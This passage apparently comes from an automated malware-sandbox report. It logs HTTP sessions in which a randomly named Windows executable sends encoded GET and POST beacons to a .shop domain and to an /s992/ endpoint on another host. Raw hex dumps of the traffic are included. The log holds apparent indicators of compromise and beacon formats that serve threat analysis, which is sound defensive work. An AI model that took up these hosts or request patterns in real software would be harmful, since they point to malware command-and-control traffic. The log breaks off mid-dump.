36VimY4fwru4f8aCBEX2cbsm3Fufo2HtB991mQISXqnLoUwSBsweREIEaHzc6roq0AvM6Q9Pka7mMoqqxiHH9zMOPUPkPvr5DX0oLl0s4c5AA8lshqzc9R1AveQzDuLnUond/s3xJoeaGwOdQPipDA4Qxdt2TpdmkNjDAnL0LWlwhpN/gQWz17WuKg8xoWjXFCnR9Aqlg7yMAqz4wMCekqDSB5djzrqdGsEIUc5wmA/fn/GXpQJgNPadhMqVAz8jZB0YoSHV0ermNMUlZuKT5LxZyseneZ/QcLr2SpoU/4i1Fl1xeaeSxXfIvRE [TRUNCATED]
Jul 9, 2024 12:09:08.681819916 CEST	446	IN	HTTP/1.1 301 Moved Permanently Server: nginx/onex Date: Tue, 09 Jul 2024 10:09:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.xn72dkd7scx.shop/emnz/ Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49727	134.122.138.60	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:10.495851994 CEST	568	OUT	GET /emnz/?lv-=oBBn57UjS7mF6OBjtXCA4K/r3FCs+xzFf261ivHj6HGHsVKs3oxX4EX17CbJWppp6g6A8fr9hGSE2paVCFK8/RlnoJvqmanf4TUTsYPUhTHcRSC+WQ==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.xn72dkd7scx.shop Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:09:11.249919891 CEST	581	IN	HTTP/1.1 301 Moved Permanently Server: nginx/onex Date: Tue, 09 Jul 2024 10:09:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.xn72dkd7scx.shop/emnz/?lv-=oBBn57UjS7mF6OBjtXCA4K/r3FCs+xzFf261ivHj6HGHsVKs3oxX4EX17CbJWppp6g6A8fr9hGSE2paVCFK8/RlnoJvqmanf4TUTsYPUhTHcRSC+WQ==&GJtTF=-FH8yJw Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49728	35.212.86.52	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:16.606161118 CEST	844	OUT	POST /s992/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dynamologistics.net Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dynamologistics.net Referer: http://www.dynamologistics.net/s992/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 57 4e 2b 5a 7a 38 69 67 6e 34 43 6f 58 44 64 75 53 6b 58 67 53 43 4c 51 2b 6e 6f 52 7a 73 6d 4c 58 51 38 57 4a 65 79 51 73 4f 44 77 52 5a 52 45 75 42 39 69 53 50 4f 6d 41 33 75 4b 53 39 30 48 35 30 4e 59 54 5a 47 4c 38 69 30 35 45 70 70 79 72 61 32 56 31 70 79 52 74 6b 46 41 53 77 6b 7a 4b 52 62 52 6f 63 77 71 43 30 66 38 41 75 53 75 7a 34 36 64 55 44 4c 77 45 71 5a 71 6b 39 41 2f 4d 53 79 70 52 54 75 48 75 65 6c 38 61 6e 5a 58 56 44 70 50 41 2f 6d 62 57 6b 77 50 74 56 4c 76 33 61 79 4d 67 46 39 44 6a 34 7a 64 49 45 4d 33 5a 4e 44 65 6b 44 32 70 78 38 68 6b Data Ascii: lv-=WN+Zz8ign4CoXDduSkXgSCLQ+noRzsmLXQ8WJeyQsODwRZREuB9iSPOmA3uKS90H50NYTZGL8i05Eppyra2V1pyRtkFASwkzKRbRocwqC0f8AuSuz46dUDLwEqZqk9A/MSypRTuHuel8anZXVDpPA/mbWkwPtVLv3ayMgF9Dj4zdIEM3ZNDekD2px8hk
Jul 9, 2024 12:09:17.054672003 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 09 Jul 2024 10:09:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Httpd-Modphp: 1 Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1 Content-Encoding: gzip Data Raw: 34 62 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 7d 5b 73 1c b7 9a e4 fb f9 15 bd 9c d8 38 7b e9 6e d5 ad eb a2 23 79 d7 e3 99 89 f3 40 cf ec 2d bc b1 7e 71 b4 c8 96 c8 3d 2d 52 26 29 c9 3e 13 f3 df 37 3f 7c 99 a8 2a 14 d9 0d 3b 66 f7 69 ed 10 9b ec 2c 7c 89 02 32 01 14 50 85 7a f3 6f fe ee 9f be fb 1f ff eb bf fc fd ea e6 e9 e3 f1 9b 3f bc b1 8f d5 71 7f f7 e1 ed c5 e1 ee c2 be 38 ec af bf f9 c3 0a ff bd f9 78 78 da af ae 6e f6 0f 8f 87 a7 b7 17 9f 9f de 6f fa 8b d5 ab 29 78 b7 ff 78 78 7b f1 e5 f6 f0 f5 d3 fd c3 d3 c5 ea ea fe ee e9 70 87 83 bf de 5e 3f dd bc bd 3e 7c b9 bd 3a 6c c2 1f eb d5 ed dd ed d3 ed fe b8 79 bc da 1f 0f 6f cb 6d 01 ba 91 e7 e6 e9 e9 d3 e6 f0 f3 e7 db 2f 6f 2f ae f6 57 37 87 8d 05 7b b8 3f 4e a2 de dd 6f 1e 9f ee 1f 0e eb 8f fb 5f 36 fb 0f 87 b7 c5 b3 f9 79 b8 7f 77 ff f4 38 4b 77 7b 77 7d f8 65 3c f8 e9 f6 e9 78 f8 a6 29 9a d5 66 f5 8f f7 4f ab f7 f7 9f ef ae df bc f2 af 3d 53 c7 db bb bf ac 6e 1e 0e ef df 5e 58 d6 1e 5f bf 7a f5 1e 19 7a dc 7e b8 bf ff 70 3c ec 3f dd 3e [TRUNCATED] Data Ascii: 4b9e}[s8{n#y@-~q=-R&)>7?\|;fi,\|2Pzo?q8xxno)xxx{p^?>\|:lyom/o/W7{?No_6yw8Kw{w}e<x)fO=Sn^X_zz~p<?>n?z\|OoOwXwEo^_\O7x?9[exa7zxP5a%w$n^:kB^8<YF8;YM(0tr#9<?}>#H$<vDKT=fyW`\|}Z]=xzDbP?)C Fy X*y+Pj6XoI\}@+^=Bm!> >l&\|5@1c\|n?\|\|BhG?[{-4yYZKJZOldrlOTXUul6>Y=??M5t}=\11
Jul 9, 2024 12:09:17.054703951 CEST	1236	IN	Data Raw: 34 e3 10 ca cd fe d3 01 79 31 2f 3d ae 1e bf 7c 98 64 e8 fa f6 f1 d3 71 ff 2b da de e3 fd d5 5f 5c c8 4c 8d 1c a2 e9 bc 7a da dc ec 8f ef 37 d7 f7 4f 9b cd d5 ed c3 d5 71 da 74 fd 75 13 ba 9c 79 b3 19 9b b3 97 ce b1 dc 1d 3e 8e 9e 79 f1 34 eb 22 Data Ascii: 4y1/=\|dq+_\Lz7Oqtuy>y4"zz9o\|@ss{59r3`'9;_=^= M>'tduwwl'*k%a7y7rr}eu{=_zqTpC9c=C?L
Jul 9, 2024 12:09:17.054721117 CEST	1236	IN	Data Raw: 49 2e ec 54 0a 74 09 38 a4 a9 f6 68 7b ba 1e bf db cf 50 a8 a6 b6 1e 4d 4e dd e3 a4 bb 6d 07 bf 21 17 68 23 63 11 43 a0 a8 26 14 63 55 41 0e 66 5a e8 27 ca 61 f3 82 1c fc b8 93 45 80 6e b0 eb 6b 84 83 0f e0 22 54 1c fa 59 d4 e1 7e 3b f4 68 ae 7a Data Ascii: I.Tt8h{PMNm!h#cC&cUAfZ'aEnk"TY~;hzk;kn*VFHlcG\~^~8dQAceE!Vdg,<@>b<6_%~]8U@;8AhoYufn<TP:+r51.5
Jul 9, 2024 12:09:17.054984093 CEST	672	IN	Data Raw: 2b ec b9 28 91 36 fc f5 2d 3e 31 9f e4 3f 2d 13 98 50 52 8a d3 85 65 13 09 0d 2e b6 6d ea a0 7f a1 14 ec 3c d0 82 a2 23 a9 86 c9 99 a0 ea 50 50 38 95 f6 cc 70 1c 1d 87 0d db 07 cc 12 4c c7 f2 93 f4 1d 8a a2 ea d1 be a2 01 30 d9 98 d5 5a c9 66 87 Data Ascii: +(6->1?-PRe.m<#PP8pL0Zf<VJa_q(L3&-R"v,X=]Y<`!2B.Y0;9pv2RPsP$\0y~Ao[}UG\U&~ul&@NLhxQiv[9}6 @<
Jul 9, 2024 12:09:17.054999113 CEST	1236	IN	Data Raw: c6 ab 1b 23 19 cc f2 60 32 e8 72 c0 1c 36 0c bb 43 d7 c3 5a b1 16 65 6c 27 6d 68 08 5d 94 d5 b7 48 1f a6 6f 7c dd a3 58 33 7a 66 86 c3 d1 dd e9 79 4b 5c 81 d5 d5 9f cb f2 87 78 91 61 d2 84 44 bf f4 7f 9e ce 94 16 eb ea cf c3 17 0d 01 ed 8c 70 cc Data Ascii: #`2r6CZel'mh]Ho\|X3zfyK\xaDpus3'S,VlZiMe3ItvQS>M\|v3w`aRrvr?N,z0mmWyEg~[Kf!HwCYMc\uU1Yj]6jnx
Jul 9, 2024 12:09:17.055013895 CEST	1236	IN	Data Raw: ee d4 20 08 f7 ea 5f 55 0d 38 eb 67 70 4f 7f 56 1e 31 9c 8f 2f 23 9d aa 5f b8 e4 23 ba 14 77 f9 64 d3 a9 fa 75 76 aa 7e d1 49 3e a2 4b 71 4f 9f 4b 87 a1 9f cd 85 ea e4 24 00 92 49 3c e4 4a d1 90 f6 3c 93 55 83 66 35 6c 7d df 2a 51 fd 05 cf 92 7a Data Ascii: _U8gpOV1/#_#wduv~I>KqOK$I<J<Uf5l}*Qzd4wCLq.;t'3j_xfp}K=KTdSvyc 0qQMo.y~<D.y.3pT%x<N
Jul 9, 2024 12:09:17.055030107 CEST	1236	IN	Data Raw: 2e 3c 6c 8b b5 af b2 b4 8e 14 cf 33 6f 1b 74 9f e8 48 7b 3c d8 d5 63 cb 1f 3c a1 15 1e 48 c6 96 18 f6 00 5c 81 2d 64 f0 cc 55 39 d9 9d ec 85 de 94 ab ed 12 1c 57 93 a9 29 5f 4d e6 4c ac 16 c7 e7 58 9e dc 3c 90 d4 46 12 e9 c9 41 89 0d 93 fa 76 6b Data Ascii: .<l3otH{<c<H\-dU9W)_MLX<FAvkGH#11Ti`<tF) eFSGH#t%XqQX1+Y ['`J D@TcIdRM+4S%%I-R S>xL<g3xex}F"pycW'6?]e
Jul 9, 2024 12:09:17.055044889 CEST	104	IN	Data Raw: 2b 16 6b 5f 4c ac 60 a1 34 bf 98 12 34 af fe 19 8b 02 20 11 6b 59 98 2b 80 34 09 96 25 81 90 54 5d 3f a3 52 10 64 f4 6a 17 e4 8a 98 a6 3a 67 4a 5c ef b7 b6 63 0f 7b 00 5c ef 63 bb c0 28 02 a1 14 41 8b b9 a1 49 ff 20 34 4f 04 3a 9a 22 10 13 ab 59 Data Ascii: +k_L`44 kY+4%T]?Rdj:gJ\c{\c(AI 4O:"Y(E bQbb5y"
Jul 9, 2024 12:09:17.055186987 CEST	1236	IN	Data Raw: 60 2c 8a 80 44 ac 68 61 2e 02 d2 24 58 96 08 18 88 f5 4e 12 af 77 41 5e ef e4 98 43 59 4d 01 76 6b 1b 6c ef 0e aa 00 d3 4b 45 3b 76 01 42 a9 02 5c ad e1 02 33 6a 44 68 9e 0a 74 34 55 20 26 d6 b3 50 aa 40 4c 09 9a a7 02 c5 a2 0a c4 c4 7a 16 4a 15 Data Ascii: `,Dha.$XNwA^CYMvklKE;vB\3jDht4U &P@LzJ)ATXTX\I,0U@jAr, n0}PcT@1RbJ<(U &P@LH* Me $m=K/q.%1MuC@M^AWB4
Jul 9, 2024 12:09:17.055283070 CEST	1236	IN	Data Raw: 39 86 55 36 3f 4b 01 d9 98 0b d3 b3 c8 35 86 48 82 5c 40 61 be 2f 85 b2 04 c4 38 14 10 29 28 12 62 14 10 39 e6 58 9e 80 18 88 02 22 09 45 a2 0c b8 80 48 32 c7 f2 04 c4 40 14 10 49 28 12 61 2e 20 92 24 58 96 80 18 88 02 22 09 55 22 2c 08 88 1c 09 Data Ascii: 9U6?K5H\@a/8)(b9X"EH2@I(a. $X"U",qx9p8]CSOpas(KWC]9C"QVAUE9"Ge(pM"48SnH1$GjJ.4YR(K<PKD'/
Jul 9, 2024 12:09:17.059722900 CEST	1236	IN	Data Raw: 37 2b d9 5b 1e a3 8e 04 53 26 f3 d4 67 65 c2 d4 52 89 52 4b 05 82 29 12 71 a7 70 9e 46 18 4c 12 11 97 24 40 58 0a 11 57 02 67 0a 84 c1 a4 0f 71 a9 fe 95 15 8e 6b c5 95 c0 99 ea 60 30 89 43 5c ac 7d a1 d4 86 a8 12 34 4b 1a da 95 50 75 af 7d 09 d5 Data Ascii: 7+[S&geRRK)qpFL$@XWgqk`0C\}4KPu}hc%HGOuwyDtT@HyHGDmHK<pIs!$pPajgz8L6[5#De5p9fD5p9j"[vT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49729	35.212.86.52	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:19.190130949 CEST	868	OUT	POST /s992/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dynamologistics.net Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dynamologistics.net Referer: http://www.dynamologistics.net/s992/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 57 4e 2b 5a 7a 38 69 67 6e 34 43 6f 58 67 31 75 43 79 66 67 46 53 4c 54 39 6e 6f 52 36 4d 6d 51 58 51 77 57 4a 65 61 41 73 63 33 77 55 4e 64 45 67 67 39 69 52 50 4f 6d 5a 48 75 46 4e 74 31 71 35 30 42 51 54 63 2b 4c 38 68 49 35 45 74 68 79 73 70 65 57 76 5a 79 45 6c 45 46 43 66 51 6b 7a 4b 52 62 52 6f 63 4e 50 43 30 58 38 41 39 4b 75 7a 62 69 63 59 6a 4c 7a 42 61 5a 71 67 39 41 37 4d 53 79 62 52 53 6a 69 75 59 68 38 61 6d 70 58 55 53 70 51 4a 2f 6d 42 53 6b 78 54 70 41 75 56 79 4c 36 52 6a 57 70 67 69 6f 75 36 4c 6c 73 70 49 2f 4b 46 78 55 32 4f 32 62 6f 4d 76 35 31 69 77 64 56 38 4d 37 46 39 54 55 2b 56 34 37 77 50 2b 41 3d 3d Data Ascii: lv-=WN+Zz8ign4CoXg1uCyfgFSLT9noR6MmQXQwWJeaAsc3wUNdEgg9iRPOmZHuFNt1q50BQTc+L8hI5EthyspeWvZyElEFCfQkzKRbRocNPC0X8A9KuzbicYjLzBaZqg9A7MSybRSjiuYh8ampXUSpQJ/mBSkxTpAuVyL6RjWpgiou6LlspI/KFxU2O2boMv51iwdV8M7F9TU+V47wP+A==
Jul 9, 2024 12:09:19.652714014 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 09 Jul 2024 10:09:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Httpd-Modphp: 1 Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1 Content-Encoding: gzip Data Raw: 34 62 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 7d 5b 73 1c b7 9a e4 fb f9 15 bd 9c d8 38 7b e9 6e d5 ad eb a2 23 79 d7 e3 99 89 f3 40 cf ec 2d bc b1 7e 71 b4 c8 96 c8 3d 2d 52 26 29 c9 3e 13 f3 df 37 3f 7c 99 a8 2a 14 d9 0d 3b 66 f7 69 ed 10 9b ec 2c 7c 89 02 32 01 14 50 85 7a f3 6f fe ee 9f be fb 1f ff eb bf fc fd ea e6 e9 e3 f1 9b 3f bc b1 8f d5 71 7f f7 e1 ed c5 e1 ee c2 be 38 ec af bf f9 c3 0a ff bd f9 78 78 da af ae 6e f6 0f 8f 87 a7 b7 17 9f 9f de 6f fa 8b d5 ab 29 78 b7 ff 78 78 7b f1 e5 f6 f0 f5 d3 fd c3 d3 c5 ea ea fe ee e9 70 87 83 bf de 5e 3f dd bc bd 3e 7c b9 bd 3a 6c c2 1f eb d5 ed dd ed d3 ed fe b8 79 bc da 1f 0f 6f cb 6d 01 ba 91 e7 e6 e9 e9 d3 e6 f0 f3 e7 db 2f 6f 2f ae f6 57 37 87 8d 05 7b b8 3f 4e a2 de dd 6f 1e 9f ee 1f 0e eb 8f fb 5f 36 fb 0f 87 b7 c5 b3 f9 79 b8 7f 77 ff f4 38 4b 77 7b 77 7d f8 65 3c f8 e9 f6 e9 78 f8 a6 29 9a d5 66 f5 8f f7 4f ab f7 f7 9f ef ae df bc f2 af 3d 53 c7 db bb bf ac 6e 1e 0e ef df 5e 58 d6 1e 5f bf 7a f5 1e 19 7a dc 7e b8 bf ff 70 3c ec 3f dd 3e [TRUNCATED] Data Ascii: 4b9e}[s8{n#y@-~q=-R&)>7?\|;fi,\|2Pzo?q8xxno)xxx{p^?>\|:lyom/o/W7{?No_6yw8Kw{w}e<x)fO=Sn^X_zz~p<?>n?z\|OoOwXwEo^_\O7x?9[exa7zxP5a%w$n^:kB^8<YF8;YM(0tr#9<?}>#H$<vDKT=fyW`\|}Z]=xzDbP?)C Fy X*y+Pj6XoI\}@+^=Bm!> >l&\|5@1c\|n?\|\|BhG?[{-4yYZKJZOldrlOTXUul6>Y=??M5t}=\11
Jul 9, 2024 12:09:19.652759075 CEST	224	IN	Data Raw: 34 e3 10 ca cd fe d3 01 79 31 2f 3d ae 1e bf 7c 98 64 e8 fa f6 f1 d3 71 ff 2b da de e3 fd d5 5f 5c c8 4c 8d 1c a2 e9 bc 7a da dc ec 8f ef 37 d7 f7 4f 9b cd d5 ed c3 d5 71 da 74 fd 75 13 ba 9c 79 b3 19 9b b3 97 ce b1 dc 1d 3e 8e 9e 79 f1 34 eb 22 Data Ascii: 4y1/=\|dq+_\Lz7Oqtuy>y4"zz9o\|@ss{59r3`'9;_=^= M>'tduwwl'*k%a7y7rr}eu{=_zqTp
Jul 9, 2024 12:09:19.652796030 CEST	1236	IN	Data Raw: 43 d3 f6 39 b4 f4 63 e3 3d 09 11 c2 18 07 43 a8 3f 4c 0e 49 0f 4b 3d f5 cc e1 9e 41 a8 db 72 bf bf ba 3a a0 48 8b cd 50 34 ef 37 cd fb fe 6a f3 ae 6f bb 4d db 97 75 7f 55 e1 ef a2 bd 58 5d ef 9f f6 1b 1f dd 5d ee 7f 85 53 cb 8b d5 2f 1f 8f 77 38 Data Ascii: C9c=C?LIK=Ar:HP47joMuUX]]S/w85a0z{UU+be#E*io}09~hm74k\|/mk~b]nTv#U)F\P]_&@?
Jul 9, 2024 12:09:19.652831078 CEST	1236	IN	Data Raw: 06 3a 2b 13 09 ca 03 0a 72 35 31 bb 2e 35 95 c7 ee b2 dc 59 8b bf b3 5c d5 df 4e d4 0a 5f b5 bb 2b a8 1a f5 89 d1 48 0f 6d 17 c8 23 b4 66 22 c7 59 54 38 0b 58 60 52 87 41 70 c0 77 68 09 bf 47 06 77 13 cd bd d0 04 85 a3 4e 9e 6d 0d 59 61 0c 58 23 Data Ascii: :+r51.5Y\N_+Hm#f"YT8X`RApwhGwNmYaX#Vz;\gz7!/=LYpp\ttNgc'8'peU#t[L41pmj~CI`pJq0!t<^a'KkEYZG`I<ACSt
Jul 9, 2024 12:09:19.652868032 CEST	1236	IN	Data Raw: 7d a9 36 d4 b0 8a b9 1f ea e8 20 40 d4 3c 1a 1d ff e9 95 0d ab 60 04 8e 49 24 4c b3 c0 88 9d 19 a6 ec 55 a2 c8 fb c6 46 3e c8 bc 39 0a 15 56 a2 17 c3 10 0a 53 5f a6 a2 70 41 8e 9f 21 96 99 b6 ac c2 b1 80 26 6d 13 86 5f 76 95 61 83 d8 d2 66 5e 27 Data Ascii: }6 @<`I$LUF>9VS_pA!&m_vaf^'FLF-dq3-FXhnf$z%m=;N/fj0JWk1csBz%&p6%}JIOV(\6zVZX`]0bi]Bw)6;*]6OM~BC04
Jul 9, 2024 12:09:19.653050900 CEST	1236	IN	Data Raw: bd 82 71 b0 21 ae 04 ce 14 06 83 49 17 e2 52 bd 2b 2b 1c a8 8a 2b 81 33 55 e1 c1 24 0a 52 a9 da 09 52 13 24 4a c0 3c 49 78 24 29 c2 68 3a f5 2d 84 a8 07 92 50 0f d3 64 e7 aa a8 2a 30 59 d1 8f 9d 09 e6 3d ec 76 aa 58 e1 11 a7 20 2a bb d7 c2 ae 53 Data Ascii: q!IR+++3U$RR$J<Ix$)h:-Pd0Y=vX S(pJ"#"x(b8"#"x.>qh4 %`Vk{6\T/$t6$KKqOV'yN/\]g$IB)rh<B*Ab!/@Z0vY2
Jul 9, 2024 12:09:19.653084993 CEST	896	IN	Data Raw: a4 75 2a 33 ec bc a6 b9 c8 28 4d 63 54 6e eb c6 94 ad 40 6a 9a 2b 90 09 98 a7 69 86 92 a6 c9 23 d5 12 95 a6 49 94 a0 99 9a 66 2c 69 9a 4c 52 ad f2 41 4d 93 29 41 33 35 cd 58 d2 34 99 a4 5a a1 d4 34 99 52 34 4f d3 8c 25 4d 93 49 b2 15 ea 9a 26 51 Data Ascii: u*3(McTn@j+i#If,iLRAM)A35X4Z4R4O%MI&QiiQi%<\0.Npnx6%p-d7c8mKL{a/J\\|Q\Lcy@6I$]kLY{$4-@Qffj#IhRI<A{$4,A3Y,OH
Jul 9, 2024 12:09:19.653120995 CEST	1236	IN	Data Raw: 69 4f 74 18 de 84 9b f6 84 6b 11 5d 74 29 ee e9 b3 e9 b4 88 2e 3a 2d 92 8b 4e 8b e8 a2 4b f1 cc 45 74 86 d3 22 3a d9 b4 4c 2e 94 8b e8 e4 4a 51 4c 7e 14 67 17 1a 2b c6 d2 b2 39 99 30 23 83 fb 65 22 c8 65 73 12 25 60 de 3d 16 d8 2a 11 1b 17 8c f2 Data Ascii: iOtk]t).:-NKEt":L.JQL~g+90#e"es%`=F$,u`A783hTp4M j^A~AQfl?-haX+c;Z0 <V'1e;Ut`mZjE1~ndliLa0\HbS {D\|W
Jul 9, 2024 12:09:19.653155088 CEST	1236	IN	Data Raw: c4 10 c3 51 0d 91 8e 35 1e 71 0a 22 d2 a5 78 9e 24 14 8e 9a 10 1b 6b 3e a2 2e 0b 71 a5 68 96 30 14 8b ca 10 93 0b 20 82 2e 0e 11 25 60 9e 3c 4a bb 61 17 a6 67 03 81 d9 42 cc 34 8f 8b 37 78 e0 c8 71 c9 03 f7 89 e0 f5 7d a3 7c 84 67 ca 43 87 4b 1e Data Ascii: Q5q"x$k>.qh0 .%`<JagB47xq}\|gCKS<DP8Ct~R<S'yMJy+EXG`3aJQwNO@xX%CLl6T'-=y6*_l\|I<dKaOd%8UI't<dslX5
Jul 9, 2024 12:09:19.653191090 CEST	1236	IN	Data Raw: e5 d5 e4 15 8a 2f f4 b8 9a 18 95 8a 91 25 9b eb a6 50 39 31 8a c1 41 d8 0d 8e b3 a6 09 98 a7 62 86 92 8a c9 23 9d 12 95 8a 49 94 a0 99 2a 66 2c a9 98 4c d2 a9 f2 41 15 93 29 41 33 55 cc 58 52 31 99 a4 53 a1 54 31 99 52 34 4f c5 8c 25 15 93 49 42 Data Ascii: /%P91Ab#If,LA)A3UXR1ST1R4O%IB&QbH(o<=6jq1eC[Tw$bMKNbU'L'Xz8E3R)iRH4HM-$RIN4HH%D)K{<v,$'-e.v!
Jul 9, 2024 12:09:19.657960892 CEST	1236	IN	Data Raw: 2a b9 4a 51 b8 94 2f fa 14 cf 54 be c2 a9 20 45 c7 a2 8a 30 4b 52 6c 29 fc 7c 51 6a b9 86 9b 06 62 07 c4 30 69 65 9b 13 61 03 54 df 8c c9 a6 9d 70 83 66 d1 76 57 b8 65 76 6b bb f4 d4 43 d8 d1 c8 0e 28 7a fb 15 ef 89 3a bb 5d 0f 39 c2 ab f7 6c 26 Data Ascii: JQ/T E0KRl)\|Qjb0ieaTpfvWevkC(z:]9l&KE}MyO{=[OHp(M gbf=Y2^rst#%ytsNUR:K&"e1et-po&-^,CHDCi3khRK=yO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49730	35.212.86.52	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:09:21.776390076 CEST	1881	OUT	POST /s992/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dynamologistics.net Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dynamologistics.net Referer: http://www.dynamologistics.net/s992/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 57 4e 2b 5a 7a 38 69 67 6e 34 43 6f 58 67 31 75 43 79 66 67 46 53 4c 54 39 6e 6f 52 36 4d 6d 51 58 51 77 57 4a 65 61 41 73 63 50 77 55 59 42 45 76 6e 68 69 51 50 4f 6d 52 6e 75 47 4e 74 30 6f 35 30 5a 63 54 63 36 31 38 6e 4d 35 45 50 35 79 70 59 65 57 68 70 79 45 70 6b 46 42 53 77 6b 63 4b 53 6a 64 6f 64 78 50 43 30 58 38 41 37 6d 75 6e 59 36 63 65 6a 4c 77 45 71 5a 32 6b 39 41 54 4d 53 71 68 52 53 6e 63 75 6f 42 38 64 47 35 58 58 67 42 51 47 2f 6d 48 63 45 78 62 70 41 71 77 79 4c 32 33 6a 56 31 61 69 71 2b 36 62 53 42 32 56 73 44 59 6a 6e 69 4f 68 38 5a 6c 6d 4f 6b 44 30 76 35 31 4d 5a 6c 48 48 31 2f 6d 79 49 59 43 69 51 79 77 56 77 